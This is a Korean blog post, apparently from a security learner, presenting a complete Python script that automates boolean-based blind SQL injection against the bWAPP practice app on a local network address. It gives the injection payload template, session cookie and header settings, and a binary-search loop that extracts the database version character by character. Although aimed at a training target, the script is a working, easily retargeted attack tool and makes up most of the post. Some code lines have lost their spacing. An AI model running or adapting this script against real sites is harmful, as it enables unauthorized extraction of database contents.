Blind SQL Injection을 항상 수동 혹은 Burp Suite 의 Intruder 를 통해 수행하다가 페이로드 전송 딜레이를 조절 불가한 점과(이게 제일 큰 문제..) 추출할 문자열의 길이가 길어질수록 피로도가 높아지는 등의 문제로 자동화 코드를 하나 만들어야겠다고 생각했다.
수동으로 Blind SQL Injection을 하다보면 느껴지는 심정
테스트는 비박스의 SQL Injection - Blind - Boolean-Based 를 대상으로 수행했다.
삽입한 SQL 구문으로 인해 where절이 참이 되면 "The movie exists in our database!" 거짓이 되면 "The movie does not exist in our database!" 문자열이 출력되는 구조이다.
참(True)일 때 응답값거짓(False)일 때 응답값
위 특성을 이용해 Blind SQL Injection을 통해 버전 정보를 출력하는 코드를 작성했다. 탐색 알고리즘은 이진 탐색 알고리즘을 선택했다.
공격 페이로드 중 자동화할 부분은 중괄호로 비워두고 반복문을 통해 파싱하였다. 예: ' OR (ascii(substr(@@version, 1, 1)) > 1)-- -> ' OR (ascii(substr(@@version, {}, 1)) {} {})--
payload = "' OR (ascii(substr(@@version, {}, 1)) {} {})-- "
요청 패킷에 포함해야 할 헤더(Cookie 등) 정보, 공격 대상 URL, 조건이 참일 때 응답 패킷에서 찾을 문자열, 페이로드 전송 간격, 공격 대상 파라미터 등은 코드 상단의 전역변수 세팅하는 부분에서 조금씩 수정해서 사용하면 된다.
# HTTP 헤더 세팅
header = {
"Cookie": "PHPSESSID=d9e627c4ac5967498d72276c404f61a0; security_level=0",
"Referer" : "http://192.168.219.108/bWAPP/sqli_4.php",
"Accept-Encoding": "gzip, deflate, br"
}
# 대상 URL
url = "http://192.168.219.108/bWAPP/sqli_4.php?action=search"# 조건이 참 일 경우 찾을 문자열
sText = "The movie exists in our database"# 페이로드 전송 간격(초)
delay = 2# 취약 파라미터명
paramName = "title"
반응형
전체 코드 및 실행 결과는 아래와 같다.
# Blind SQL Injection By SECUWORMimport requests
import time
# HTTP 헤더 세팅
header = {
"Cookie": "PHPSESSID=d9e627c4ac5967498d72276c404f61a0; security_level=0",
"Referer" : "http://192.168.219.108/bWAPP/sqli_4.php",
"Accept-Encoding": "gzip, deflate, br"
}
# 대상 URL
url = "http://192.168.219.108/bWAPP/sqli_4.php?action=search"# 조건이 참 일 경우 찾을 문자열
sText = "The movie exists in our database"# 페이로드 전송 간격(초)
delay = 2# 취약 파라미터명
paramName = "title"# 취약 파라미터 공격 페이로드
payload = "' OR (ascii(substr(@@version, {}, 1)) {} {})-- "
res = ""
n = 0deflengthCheck():
i=0print("Length Check...")
for i inrange(100):
time.sleep(delay)
#print("Length Checking... : "+ str(i+1))
param = {paramName: payload.format(i+1, '>', 1)}
req = requests.get(url, params = param, headers=header)
if sText notin req.text:
breakprint("length: ", i)
return i
n = lengthCheck()
for i inrange(n):
start = 32
end = 127
flag = Truewhile flag:
if (end-start) < 3:
for j inrange(start,end+1):
time.sleep(delay)
param = {paramName: payload.format(i+1, '=', j)}
req = requests.get(url, params = param, headers=header)
if sText in req.text:
res += chr(j)
print("\tstr(tmp): "+res)
flag = Falsebreakifnot flag:
break
mid = (start+end)//2#print('start = {} end = {} mid = {}'.format(start,end,mid))
param = {paramName: payload.format(i+1, '>', mid)}
#print(param)
req = requests.get(url, params = param, headers=header)
if sText in req.text:
start = mid
else:
end = mid
print("\n\nresult: ", res)